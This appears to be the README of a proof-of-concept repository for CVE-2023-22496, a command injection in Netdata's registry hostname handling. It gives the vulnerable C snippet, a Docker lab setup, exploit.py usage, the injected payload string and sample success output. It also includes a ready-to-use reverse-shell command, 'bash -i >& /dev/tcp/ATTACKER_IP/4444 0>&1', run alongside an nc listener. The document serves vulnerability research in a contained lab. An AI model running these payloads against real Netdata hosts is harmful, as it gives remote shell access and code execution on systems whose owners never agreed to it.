static inline int health_alarm_execute(RRDHOST *host, ALARM_ENTRY *ae) {
    ...
    char cmd[LEN + 1];
    snprintfz(cmd, LEN,
        "exec %s '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s'",
        exec,                        // alarm-notify.sh
        recipient,                   // e.g. "root"
        host->registry_hostname,     // ← NO SANITISATION — attacker-controlled
        ae->name,
        ...
    );
    ae->exec_code = spawn_enq_cmd(cmd);   // run via /bin/sh
    ...
}

# What Netdata builds after injection:
exec alarm-notify.sh 'root' 'x' & touch /tmp/pwned & # ' arg3 arg4 ...

# Execution flow:
#   exec alarm-notify.sh 'root' 'x' &   → runs in background; shell stays alive
#   touch /tmp/pwned &                   → shell evaluates this; file created
#   #                                    → rest is a comment; ignored

┌──────────────┐  stream  ┌──────────────┐  stream  ┌──────────────────────┐
│  agent_child │ ───────▶ │ agent_middle │ ───────▶ │   agent_parent       │
│  (attacker)  │          │  (relay)     │          │   (victim / target)  │
└──────────────┘          └──────────────┘          └──────────────────────┘
                                                            │
                                              health_alarm_execute() fires
                                              with injected registry_hostname
                                              → RCE on agent_parent

CVE-2023-22496-PoC/
├── Dockerfile              # Builds netdata-vuln:v1.36.1 from source
├── docker-compose.yaml     # 3-node vulnerable streaming environment
├── exploit.py              # Standalone exploit script
├── config/
│   ├── parent_netdata.conf # Parent config (writable — exploit overwrites this)
│   ├── parent_stream.conf  # Parent accepts streams + evaluates health
│   ├── parent_guid         # Fixed node GUID
│   ├── middle_netdata.conf # Middle relay config
│   ├── middle_stream.conf
│   ├── middle_guid
│   ├── child_netdata.conf  # Child sender config
│   ├── child_stream.conf
│   └── child_guid
└── README.md

git clone https://github.com/YOUR_HANDLE/CVE-2023-22496-PoC.git
cd CVE-2023-22496-PoC

# Build takes ~5–15 min (compiles Netdata from source)
docker build -t netdata-vuln:v1.36.1 .

docker compose up -d

# Parent web UI should return HTTP 200
curl -s http://localhost:21000/api/v1/info | python3 -m json.tool | grep version
# Expected: "version": "v1.36.1-..."

# Default: create /tmp/pwned on the target (agent_parent)
python3 exploit.py "touch /tmp/pwned"

# Verify
docker exec agent_parent ls /tmp/pwned
# /tmp/pwned

======================================================================
  CVE-2023-22496 — Netdata registry_hostname Command Injection PoC
======================================================================
  Shell command : 'touch /tmp/pwned'
  Injected host : "x' & touch /tmp/pwned & #"

[*] Pre-flight: verifying Docker environment
  [*] All 3 containers are running.

[*] Step 1: Writing injected netdata.conf for agent_parent
    Written: config/parent_netdata.conf
    registry hostname = "x' & touch /tmp/pwned & #"

[*] Step 2: Restarting agent_parent to load injected config
    ...
    agent_parent is up and responding.

[*] Step 3: Waiting 65s for a disk_space WARNING alarm

[*] Step 4: Checking for command execution evidence

======================================================================
  ✅  SUCCESS — CVE-2023-22496 CONFIRMED
  '/tmp/pwned' exists on agent_parent
======================================================================

# On your listener machine:
nc -lvnp 4444

# Run exploit (replace ATTACKER_IP):
python3 exploit.py "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

python3 exploit.py "id > /tmp/id.txt"
docker exec agent_parent cat /tmp/id.txt
# uid=998(netdata) gid=998(netdata) groups=998(netdata)

# Stop and remove containers + volumes
docker compose down -v

# Remove the image
docker rmi netdata-vuln:v1.36.1